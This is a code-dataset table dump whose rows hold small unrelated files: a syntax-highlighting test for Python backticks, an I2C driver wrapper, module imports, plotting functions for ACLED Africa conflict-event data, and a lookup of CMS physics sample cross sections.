hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
e1507093b48617452f7244680c959a63536ee5a0
| 876
|
py
|
Python
|
test/illegals/backticks3.py
|
Setonas/MagicSetonas
|
ef76da5f27a0506b194c58072b81424e3ce985d7
|
[
"MIT"
] | 5
|
2017-02-22T10:17:39.000Z
|
2021-04-06T16:36:13.000Z
|
test/illegals/backticks3.py
|
Setonas/MagicSetonas
|
ef76da5f27a0506b194c58072b81424e3ce985d7
|
[
"MIT"
] | null | null | null |
test/illegals/backticks3.py
|
Setonas/MagicSetonas
|
ef76da5f27a0506b194c58072b81424e3ce985d7
|
[
"MIT"
] | 1
|
2020-08-29T02:30:52.000Z
|
2020-08-29T02:30:52.000Z
|
a = liambda `123`
a : source.python
: source.python
= : keyword.operator.assignment.python, source.python
: source.python
liambda : meta.liambda-function.python, source.python, storage.type.function.liambda.python
: meta.function.liambda.parameters.python, meta.liambda-function.python, source.python
` : invalid.deprecated.backtick.python, meta.function.liambda.parameters.python, meta.liambda-function.python, source.python
123 : constant.numeric.dec.python, invalid.deprecated.backtick.python, meta.function.liambda.parameters.python, meta.liambda-function.python, source.python
` : invalid.deprecated.backtick.python, meta.function.liambda.parameters.python, meta.liambda-function.python, source.python
: meta.liambda-function.python, source.python
| 58.4
| 165
| 0.69863
| 95
| 876
| 6.442105
| 0.2
| 0.196078
| 0.264706
| 0.245098
| 0.763072
| 0.763072
| 0.702614
| 0.642157
| 0.642157
| 0.642157
| 0
| 0.008487
| 0.192922
| 876
| 14
| 166
| 62.571429
| 0.857143
| 0
| 0
| 0.363636
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
e16453341b67a809a88af94cbc958c5bca692795
| 195
|
py
|
Python
|
i2c_class.py
|
vinicentus/raspberry_pi_i2c_scd4x_python
|
338873c28b2b62adba1bc7e6fb8b42b78320896b
|
[
"BSD-3-Clause"
] | null | null | null |
i2c_class.py
|
vinicentus/raspberry_pi_i2c_scd4x_python
|
338873c28b2b62adba1bc7e6fb8b42b78320896b
|
[
"BSD-3-Clause"
] | null | null | null |
i2c_class.py
|
vinicentus/raspberry_pi_i2c_scd4x_python
|
338873c28b2b62adba1bc7e6fb8b42b78320896b
|
[
"BSD-3-Clause"
] | null | null | null |
from ._scd4x_driver import lib
class I2C:
def sensirion_i2c_hal_init(self):
lib.sensirion_i2c_hal_init()
def sensirion_i2c_hal_free(self):
lib.sensirion_i2c_hal_free()
| 19.5
| 37
| 0.728205
| 29
| 195
| 4.413793
| 0.448276
| 0.375
| 0.46875
| 0.28125
| 0.34375
| 0
| 0
| 0
| 0
| 0
| 0
| 0.038462
| 0.2
| 195
| 9
| 38
| 21.666667
| 0.782051
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.166667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
e18a9ef9576b385a454220d6d415fe2a336d5ec9
| 187
|
py
|
Python
|
sbaas/analysis/analysis_stage01_isotopomer/__init__.py
|
SBRG/sbaas
|
9df76bbffdd620cf8566744a2b0503935998fbe0
|
[
"Apache-2.0"
] | 1
|
2017-05-13T04:35:08.000Z
|
2017-05-13T04:35:08.000Z
|
sbaas/analysis/analysis_stage01_isotopomer/__init__.py
|
SBRG/sbaas
|
9df76bbffdd620cf8566744a2b0503935998fbe0
|
[
"Apache-2.0"
] | null | null | null |
sbaas/analysis/analysis_stage01_isotopomer/__init__.py
|
SBRG/sbaas
|
9df76bbffdd620cf8566744a2b0503935998fbe0
|
[
"Apache-2.0"
] | 2
|
2017-02-23T19:32:38.000Z
|
2020-01-14T19:13:05.000Z
|
from .stage01_isotopomer_query import stage01_isotopomer_query
from .stage01_isotopomer_execute import stage01_isotopomer_execute
from .stage01_isotopomer_io import stage01_isotopomer_io
| 46.75
| 66
| 0.919786
| 24
| 187
| 6.666667
| 0.291667
| 0.6375
| 0.39375
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.068571
| 0.064171
| 187
| 3
| 67
| 62.333333
| 0.845714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 6
|
e1b925bb42ffb92d08440f15012049dab1260fe3
| 146
|
py
|
Python
|
practice/string/string/string/string.py
|
thekaranjit/pythonpractice
|
c87f535f694ee259a4d9de317f5b2eacd0e3748f
|
[
"Unlicense"
] | 1
|
2018-06-21T23:15:18.000Z
|
2018-06-21T23:15:18.000Z
|
practice/string/string/string/string.py
|
thekaranjit/pythonpractice
|
c87f535f694ee259a4d9de317f5b2eacd0e3748f
|
[
"Unlicense"
] | null | null | null |
practice/string/string/string/string.py
|
thekaranjit/pythonpractice
|
c87f535f694ee259a4d9de317f5b2eacd0e3748f
|
[
"Unlicense"
] | null | null | null |
print(' a string that you "dont" have to escape \n This \n is a multi-line \n heredoc string -------> example')
| 24.333333
| 111
| 0.506849
| 20
| 146
| 3.7
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.369863
| 146
| 6
| 112
| 24.333333
| 0.804348
| 0
| 0
| 0
| 0
| 1
| 0.693878
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 6
|
e1c08861c73314b3f9d57e16a664567f042396ce
| 105
|
py
|
Python
|
src/hub/dataload/sources/snpeff/__init__.py
|
erikyao/myvariant.info
|
a4eaaca7ab6c069199f8942d5afae2dece908147
|
[
"Apache-2.0"
] | 39
|
2017-07-01T22:34:39.000Z
|
2022-03-15T22:25:59.000Z
|
src/hub/dataload/sources/snpeff/__init__.py
|
erikyao/myvariant.info
|
a4eaaca7ab6c069199f8942d5afae2dece908147
|
[
"Apache-2.0"
] | 105
|
2017-06-28T17:26:06.000Z
|
2022-03-17T17:49:53.000Z
|
src/hub/dataload/sources/snpeff/__init__.py
|
erikyao/myvariant.info
|
a4eaaca7ab6c069199f8942d5afae2dece908147
|
[
"Apache-2.0"
] | 15
|
2015-10-15T20:46:50.000Z
|
2021-07-12T19:17:49.000Z
|
from .snpeff_dump import SnpeffDumper
from .snpeff_upload import SnpeffHg19Uploader, SnpeffHg38Uploader
| 26.25
| 65
| 0.87619
| 11
| 105
| 8.181818
| 0.727273
| 0.222222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.042105
| 0.095238
| 105
| 3
| 66
| 35
| 0.905263
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
e1c19bc6fbcb5c9aa87f02302e7e8cc5aaaeaead
| 6,747
|
py
|
Python
|
acled_africa/eda.py
|
umangchaudhry/acled_africa
|
5d5b9a645c862dff8092e4e74e51881486206f77
|
[
"MIT"
] | null | null | null |
acled_africa/eda.py
|
umangchaudhry/acled_africa
|
5d5b9a645c862dff8092e4e74e51881486206f77
|
[
"MIT"
] | null | null | null |
acled_africa/eda.py
|
umangchaudhry/acled_africa
|
5d5b9a645c862dff8092e4e74e51881486206f77
|
[
"MIT"
] | null | null | null |
import matplotlib.pyplot as plt
import seaborn as sns
import warnings
warnings.filterwarnings("ignore")
def region_event(data):
"""
This function creates a bar plot of the regional distribution of events
in the given dataset.
Parameters
----------
data : a pandas dataframe that contains a column called 'region' to group by
Returns
-------
A matplotlib figure
"""
df = data.groupby('region').size()
ax = df.plot(kind='bar', figsize=(10,6), color='green', fontsize=13,zorder=2);
ax.set_alpha(0.8)
ax.set_title("Distribution of Events Across Regions", fontsize=18)
ax.set_ylabel("Number of Events", fontsize=15)
ax.set_xlabel("Region",fontsize=15)
plt.xticks(rotation = 0)
ax.grid(zorder=0)
plt.show()
def event_dist(data):
"""
This function creates a bar plot of the distribution of event types
in the given dataset.
Parameters
----------
data : a pandas dataframe that contains a column called 'event_type' to group by
Returns
-------
A matplotlib figure
"""
df = data.groupby('event_type').size()
ax = df.plot(kind='bar', figsize=(10,6), color='green', fontsize=13,zorder=2);
ax.set_alpha(0.8)
ax.set_title("Distribution of Event Types", fontsize=18)
ax.set_ylabel("Number of Instances", fontsize=15)
ax.set_xlabel("Event Type",fontsize=15)
plt.xticks(rotation = 45)
ax.grid(zorder=0)
plt.show()
def event_reg_dist(data):
"""
This function creates a bar plot of the distribution of event types by
region in the given dataset.
Parameters
----------
data : a pandas dataframe that contains the following columns ['region', 'event_type']
Returns
-------
A seaborn-matplotlib figure
"""
fig, ax = plt.subplots()
fig.set_size_inches(10,6)
sns.countplot(data=data,x='region',hue='event_type', zorder=2)
ax.set_alpha(0.8)
ax.set_title("Distribution of Event Types by Region", fontsize=18)
ax.set_ylabel("Number of Events", fontsize=15)
ax.set_xlabel("Region",fontsize=15)
ax.legend(title='Event Type')
plt.xticks(rotation = 0)
ax.grid(zorder=0)
plt.show()
def protest_type_dist(data):
"""
This function creates a bar plot of the distribution of protest types by
region in the given dataset.
Parameters
----------
data : a pandas dataframe that contains the following columns ['region', 'sub_event_type']
Returns
-------
A seabron-matplotlib figure
"""
p_data = data.loc[data['event_type'].isin(['Protests'])]
fig, ax = plt.subplots()
fig.set_size_inches(10,6)
sns.countplot(data=p_data,x='region',hue='sub_event_type', zorder=2)
ax.set_alpha(0.8)
ax.set_title("Distribution of Protest Types by Region", fontsize=18)
ax.set_ylabel("Number of Events", fontsize=15)
ax.set_xlabel("Region",fontsize=15)
ax.legend(title='Event Type')
plt.xticks(rotation = 0)
ax.grid(zorder=0)
plt.show()
def event_reg_year(data):
"""
This function creates a line plot of the distribution of event by year and
region in the given dataset.
Parameters
----------
data : a pandas dataframe that contains the following columns ['region', 'year'] to group by
Returns
-------
A seabron-matplotlib figure
"""
bp_data = data.loc[data['event_type'].isin(['Protests','Battles'])]
data_viz = bp_data.groupby(['year','region'], as_index=False).size()
fig, ax = plt.subplots()
fig.set_size_inches(10,6)
sns.lineplot(data=data_viz, x='year', y='size', hue='region',zorder=2)
ax.set_alpha(0.8)
ax.set_title("Distribution of Events by Year and Region", fontsize=18)
ax.set_ylabel("Number of Events", fontsize=15)
ax.set_xlabel("Year",fontsize=15)
ax.legend(title='Region')
plt.xticks(rotation = 0)
ax.grid(zorder=0)
plt.show()
def bat_reg_year(data):
"""
This function creates a line plot of the distribution of battles by year and
region in the given dataset.
Parameters
----------
data : a pandas dataframe that contains the following columns ['region', 'year'] to group by
Returns
-------
A seaborn-matplotlib figure
"""
b_data = data.loc[data['event_type'].isin(['Battles'])]
data_viz = b_data.groupby(['year','region'], as_index=False).size()
fig, ax = plt.subplots()
fig.set_size_inches(10,6)
sns.lineplot(data=data_viz, x='year', y='size', hue='region',zorder=2)
ax.set_alpha(0.8)
ax.set_title("Distribution of Battles by Year and Region", fontsize=18)
ax.set_ylabel("Number of Events", fontsize=15)
ax.set_xlabel("Year",fontsize=15)
ax.legend(title='Region')
plt.xticks(rotation = 0)
ax.grid(zorder=0)
plt.show()
def pro_reg_year(data):
"""
This function creates a line plot of the distribution of protests by year and
region in the given dataset.
Parameters
----------
data : a pandas dataframe that contains the following columns ['region', 'year'] to groupby
Returns
-------
A seaborn-matplotlib figure
"""
p_data = data.loc[data['event_type'].isin(['Protests'])]
data_viz = p_data.groupby(['year','region'], as_index=False).size()
fig, ax = plt.subplots()
fig.set_size_inches(10,6)
sns.lineplot(data=data_viz, x='year', y='size', hue='region',zorder=2)
ax.set_alpha(0.8)
ax.set_title("Distribution of Protests by Year and Region", fontsize=18)
ax.set_ylabel("Number of Events", fontsize=15)
ax.set_xlabel("Year",fontsize=15)
ax.legend(title='Region')
plt.xticks(rotation = 0)
ax.grid(zorder=0)
plt.show()
def fatalities_yearly(data):
"""
This function creates a line plot of the number of fatalities by year in the given
dataset as a result of battles and protests.
Parameters
----------
data : a pandas dataframe that contains the column 'year' to groupby and 'fatalities' to calculate a sum
Returns
-------
A seaborn-matplotlib figure
"""
bp_data = data.loc[data['event_type'].isin(['Protests','Battles'])]
f_counts = bp_data.groupby(['year'], as_index = False).sum('fatalities')[['year', 'fatalities']]
fig, ax = plt.subplots()
fig.set_size_inches(10,6)
sns.lineplot(data=f_counts, x='year', y='fatalities',zorder=2)
ax.set_alpha(0.8)
ax.set_title("Fatalities per Year", fontsize=18)
ax.set_ylabel("Number of Fatalities", fontsize=15)
ax.set_xlabel("Year",fontsize=15)
plt.xticks(rotation = 0)
ax.grid(zorder=0)
plt.show()
| 29.986667
| 108
| 0.640729
| 962
| 6,747
| 4.398129
| 0.117464
| 0.037816
| 0.036871
| 0.043489
| 0.87048
| 0.834082
| 0.829591
| 0.802174
| 0.78563
| 0.761049
| 0
| 0.022147
| 0.216985
| 6,747
| 225
| 109
| 29.986667
| 0.778724
| 0.314955
| 0
| 0.673077
| 0
| 0
| 0.188361
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.076923
| false
| 0
| 0.028846
| 0
| 0.105769
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
e1c9cdd11512a88b9ab687d9ec0c4d6b56426251
| 76,748
|
py
|
Python
|
python/getXSection.py
|
lucaswiens/Plotter
|
f33c64d6a0785cd9e78d540034aad4bccf7899f9
|
[
"BSD-2-Clause"
] | null | null | null |
python/getXSection.py
|
lucaswiens/Plotter
|
f33c64d6a0785cd9e78d540034aad4bccf7899f9
|
[
"BSD-2-Clause"
] | null | null | null |
python/getXSection.py
|
lucaswiens/Plotter
|
f33c64d6a0785cd9e78d540034aad4bccf7899f9
|
[
"BSD-2-Clause"
] | null | null | null |
def GetXSection(fileName): #[pb]
if fileName.find("ST_t-channel_antitop_4f_InclusiveDecays_mtop1695_TuneCP5_PSweights_13TeV-powheg-madspin-pythia8") !=-1 : return 70.89
elif fileName.find("ST_t-channel_antitop_4f_InclusiveDecays_mtop1715_TuneCP5_PSweights_13TeV-powheg-madspin-pythia8") !=-1 : return 69.66
elif fileName.find("ST_t-channel_antitop_4f_InclusiveDecays_mtop1735_TuneCP5_PSweights_13TeV-powheg-madspin-pythia8") !=-1 : return 68.45
elif fileName.find("SMS-TStauStau-Ewkino_lefthanded_dM-10to40_genHT-80_genMET-80_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0205
elif fileName.find("ST_s-channel_4f_leptonDecays_TuneCP5_PSweights_13TeV-amcatnlo-pythia8_correctnPartonsInBorn") !=-1 : return 3.74
elif fileName.find("ST_t-channel_top_4f_InclusiveDecays_mtop1695_TuneCP5_PSweights_13TeV-powheg-madspin-pythia8") !=-1 : return 118.0
elif fileName.find("ST_t-channel_top_4f_InclusiveDecays_mtop1715_TuneCP5_PSweights_13TeV-powheg-madspin-pythia8") !=-1 : return 116.1
elif fileName.find("ST_t-channel_top_4f_InclusiveDecays_mtop1735_TuneCP5_PSweights_13TeV-powheg-madspin-pythia8") !=-1 : return 114.4
elif fileName.find("ST_t-channel_top_4f_InclusiveDecays_mtop1755_TuneCP5_PSweights_13TeV-powheg-madspin-pythia8") !=-1 : return 112.5
elif fileName.find("SMS-TStauStau-Ewkino_lefthanded_dM-50_genHT-80_genMET-80_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0202
elif fileName.find("ST_t-channel_antitop_4f_hdampdown_InclusiveDecays_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 67.91
elif fileName.find("SMS-TStauStau_lefthanded_dM-10to50_genHT-80_genMET-80_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 2.47e-08
elif fileName.find("ST_tW_antitop_5f_hdampdown_NoFullyHadronicDecays_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.99
elif fileName.find("SMS-T2bW_X05_dM-10to80_genHT-160_genMET-80_mWMin-0p1_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0008691
elif fileName.find("ST_t-channel_antitop_4f_hdampup_InclusiveDecays_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 67.91
elif fileName.find("ST_t-channel_antitop_4f_hdampdown_InclusiveDecays_TuneCP5_13TeV-powheg-madspin-pythia8") !=-1 : return 69.09
elif fileName.find("ST_tW_antitop_5f_hdampup_NoFullyHadronicDecays_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.96
elif fileName.find("ST_t-channel_antitop_5f_TuneCP5_PSweights_13TeV-powheg-madspin-pythia8_vtd_vts_decay") !=-1 : return 82.52
elif fileName.find("ST_t-channel_antitop_4f_InclusiveDecays_TuneCP5_erdON_PSweights_13TeV-powheg-pythia8") !=-1 : return 67.91
elif fileName.find("ST_t-channel_top_4f_hdampdown_InclusiveDecays_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 113.3
elif fileName.find("ST_t-channel_antitop_4f_hdampup_InclusiveDecays_TuneCP5_13TeV-powheg-madspin-pythia8") !=-1 : return 69.09
elif fileName.find("ST_t-channel_antitop_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1") !=-1 : return 0.0
elif fileName.find("ST_t-channel_antitop_5f_TuneCP5_PSweights_13TeV-powheg-madspin-pythia8_vtd_vts_prod") !=-1 : return 225.5
elif fileName.find("SMS-T8bbstausnu_XCha0p5_mStop-200to1800_XStau0p25_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 4.916e-05
elif fileName.find("SMS-T8bbstausnu_mStop-200to1800_XCha0p5_XStau0p75_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 4.745e-05
elif fileName.find("ST_tW_antitop_5f_NoFullyHadronicDecays_TuneCP5_erdON_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.97
elif fileName.find("ST_tW_top_5f_hdampdown_NoFullyHadronicDecays_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.92
elif fileName.find("ST_t-channel_antitop_4f_Vts_Vtd_prod_leptonicDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 2.534e-09
elif fileName.find("SMS-T2tt_dM-10to80_genHT-160_genMET-80_mWMin-0p1_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.00101
elif fileName.find("SMS-T8bbstausnu_mStop-200to1800_XCha0p5_XStau0p5_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 4.76e-05
elif fileName.find("ST_t-channel_antitop_4f_InclusiveDecays_TuneCP5down_PSweights_13TeV-powheg-pythia8") !=-1 : return 67.91
elif fileName.find("ST_t-channel_top_4f_hdampup_InclusiveDecays_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 113.3
elif fileName.find("ST_t-channel_antitop_4f_InclusiveDecays_TuneCP5_erdON_13TeV-powheg-madspin-pythia8") !=-1 : return 69.09
elif fileName.find("ST_t-channel_top_4f_hdampdown_InclusiveDecays_TuneCP5_13TeV-powheg-madspin-pythia8") !=-1 : return 115.3
elif fileName.find("ST_t-channel_antitop_4f_InclusiveDecays_TuneCP5CR1_PSweights_13TeV-powheg-pythia8") !=-1 : return 67.91
elif fileName.find("ST_t-channel_antitop_4f_InclusiveDecays_TuneCP5CR2_PSweights_13TeV-powheg-pythia8") !=-1 : return 67.91
elif fileName.find("ST_tW_antitop_5f_NoFullyHadronicDecays_TuneCP5down_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.97
elif fileName.find("ST_tW_top_5f_hdampup_NoFullyHadronicDecays_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.9
elif fileName.find("ST_t-channel_antitop_4f_hdampdown_inclusiveDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 76.17
elif fileName.find("ST_t-channel_antitop_4f_scaledown_inclusiveDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 0.0
elif fileName.find("ST_tW_antitop_5f_inclusiveDecays_mtop1735_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.44
elif fileName.find("ST_tW_antitop_5f_inclusiveDecays_mtop1695_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 36.65
elif fileName.find("ST_tW_antitop_5f_inclusiveDecays_mtop1715_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 35.52
elif fileName.find("ST_FCNC-TH_Thadronic_HToWWZZtautau_Ctcphi_CtcG_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.08155
elif fileName.find("ST_FCNC-TH_Tleptonic_HToWWZZtautau_Ctcphi_CtcG_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.04082
elif fileName.find("ST_t-channel_antitop_4f_InclusiveDecays_TuneCP5up_PSweights_13TeV-powheg-pythia8") !=-1 : return 67.91
elif fileName.find("ST_t-channel_top_4f_InclusiveDecays_TuneCP5_erdON_PSweights_13TeV-powheg-pythia8") !=-1 : return 113.3
elif fileName.find("ST_t-channel_top_5f_TuneCP5_PSweights_13TeV-powheg-madspin-pythia8_vtd_vts_decay") !=-1 : return 138.1
elif fileName.find("ST_tW_antitop_5f_DS_NoFullyHadronicDecays_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 35.25
elif fileName.find("ST_tW_antitop_5f_NoFullyHadronicDecays_TuneCP5CR1_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.97
elif fileName.find("ST_tW_antitop_5f_NoFullyHadronicDecays_TuneCP5CR2_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.97
elif fileName.find("ST_tW_antitop_5f_inclusiveDecays_mtop1755_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 33.4
elif fileName.find("ST_t-channel_antitop_4f_InclusiveDecays_TuneCP5down_13TeV-powheg-madspin-pythia8") !=-1 : return 69.09
elif fileName.find("ST_t-channel_top_4f_hdampup_InclusiveDecays_TuneCP5_13TeV-powheg-madspin-pythia8") !=-1 : return 115.3
elif fileName.find("WJetsToLNu_BGenFilter_Wpt-100to200_TuneCP5_13TeV-madgraphMLM-pythia8_newgridpack") !=-1 : return 20.49
elif fileName.find("WJetsToLNu_BGenFilter_Wpt-200toInf_TuneCP5_13TeV-madgraphMLM-pythia8_newgridpack") !=-1 : return 2.934
elif fileName.find("ST_t-channel_antitop_4f_mtop1665_inclusiveDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 0.0
elif fileName.find("ST_t-channel_antitop_4f_mtop1695_inclusiveDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 0.0
elif fileName.find("ST_t-channel_antitop_4f_mtop1715_inclusiveDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 0.0
elif fileName.find("ST_t-channel_antitop_4f_mtop1735_inclusiveDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 0.0
